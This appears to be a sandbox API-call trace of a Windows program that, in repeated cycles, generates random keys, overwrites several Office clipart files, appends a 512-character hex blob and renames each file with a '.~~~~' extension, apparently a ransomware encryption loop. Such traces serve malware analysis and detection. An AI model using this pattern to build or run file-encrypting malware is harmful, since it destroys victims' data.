	[0091.227] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.227] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.227] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.228] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.228] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.228] CloseHandle (hObject=0x128) returned 1
	[0091.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384120
	[0091.228] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.~~~~")) returned 1
	[0091.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x384120 | out: hHeap=0x300000) returned 1
	[0091.228] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.228] GetLastError () returned 0x0
	[0091.229] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.229] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.229] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.229] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.230] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21121966223) returned 1
	[0091.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0277af0, dwHighDateTime=0x1d60e1e)) 
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3825a0
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3825a0 | out: hHeap=0x300000) returned 1
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1908
	[0091.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3842e8
	[0091.230] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1908 | out: hHeap=0x300000) returned 1
	[0091.230] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.230] GetLastError () returned 0x0
	[0091.230] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.230] GetLastError () returned 0x0
	[0091.232] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffba46, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.232] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x45ba, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x45ba, lpOverlapped=0x0) returned 1
	[0091.233] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.233] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.233] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.233] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.233] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.233] CloseHandle (hObject=0x128) returned 1
	[0091.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d1860
	[0091.233] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00074_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00074_.wmf.~~~~")) returned 1
	[0091.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.234] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.234] GetLastError () returned 0x0
	[0091.234] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.235] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.235] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.235] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.235] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21122535971) returned 1
	[0091.235] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa0277af0, dwHighDateTime=0x1d60e1e)) 
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3825d8
	[0091.235] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3825d8 | out: hHeap=0x300000) returned 1
	[0091.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d1860
	[0091.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.236] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384380
	[0091.236] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d1860 | out: hHeap=0x300000) returned 1
	[0091.236] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.236] GetLastError () returned 0x0
	[0091.236] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.236] GetLastError () returned 0x0
	[0091.239] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffd126, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.239] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x2eda, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x2eda, lpOverlapped=0x0) returned 1
	[0091.239] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.239] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.240] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.240] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.240] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.240] CloseHandle (hObject=0x128) returned 1
	[0091.240] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.240] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00076_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00076_.wmf.~~~~")) returned 1
	[0091.240] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.241] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.241] GetLastError () returned 0x0
	[0091.241] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.242] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.242] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.242] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.242] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21123244309) returned 1
	[0091.242] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa029dc50, dwHighDateTime=0x1d60e1e)) 
	[0091.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.242] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382610
	[0091.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382610 | out: hHeap=0x300000) returned 1
	[0091.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.243] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x384418
	[0091.243] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.243] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.243] GetLastError () returned 0x0
	[0091.243] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.243] GetLastError () returned 0x0
	[0091.245] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff89e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.245] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x7620, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x7620, lpOverlapped=0x0) returned 1
	[0091.246] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.246] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.246] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.246] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.246] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.246] CloseHandle (hObject=0x128) returned 1
	[0091.246] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.246] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00077_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00077_.wmf.~~~~")) returned 1
	[0091.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.247] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.247] GetLastError () returned 0x0
	[0091.247] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.248] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f90 | out: pbBuffer=0x362f90) returned 1
	[0091.248] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.248] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f90 | out: hHeap=0x300000) returned 1
	[0091.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.248] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.248] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21123928399) returned 1
	[0091.249] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa029dc50, dwHighDateTime=0x1d60e1e)) 
	[0091.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.249] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382680
	[0091.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x358348
	[0091.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382680 | out: hHeap=0x300000) returned 1
	[0091.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x358348 | out: hHeap=0x300000) returned 1
	[0091.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.250] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3844b0
	[0091.250] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.250] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.250] GetLastError () returned 0x0
	[0091.250] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.250] GetLastError () returned 0x0
	[0091.298] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffc88e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.298] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x3772, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x3772, lpOverlapped=0x0) returned 1
	[0091.299] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2843fe0 | out: hHeap=0x300000) returned 1
	[0091.299] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0091.299] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0091.299] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0091.299] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0091.299] CloseHandle (hObject=0x128) returned 1
	[0091.350] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28d17b8
	[0091.350] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00090_.wmf.~~~~")) returned 1
	[0091.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.352] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0091.352] GetLastError () returned 0x0
	[0091.352] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0091.354] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362fe0 | out: pbBuffer=0x362fe0) returned 1
	[0091.354] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0091.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362fe0 | out: hHeap=0x300000) returned 1
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0091.354] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=21134389778) returned 1
	[0091.354] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa03a85f0, dwHighDateTime=0x1d60e1e)) 
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x382798
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0091.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x382798 | out: hHeap=0x300000) returned 1
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0091.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28d17b8
	[0091.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0091.354] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c8a18
	[0091.354] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28d17b8 | out: hHeap=0x300000) returned 1
	[0091.354] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0091.355] GetLastError () returned 0x0
	[0091.355] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0091.355] GetLastError () returned 0x0
	[0091.357] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffe84c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0091.357] WriteFile (in: hFile=0x128, lpBuffer=0x2843fe0*, nNumberOfBytesToWrite=0x17b4, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2843fe0*, lpNumberOfBytesWritten=0x26dfec0*=0x17b4, lpOverlapped=0x0) returned 1
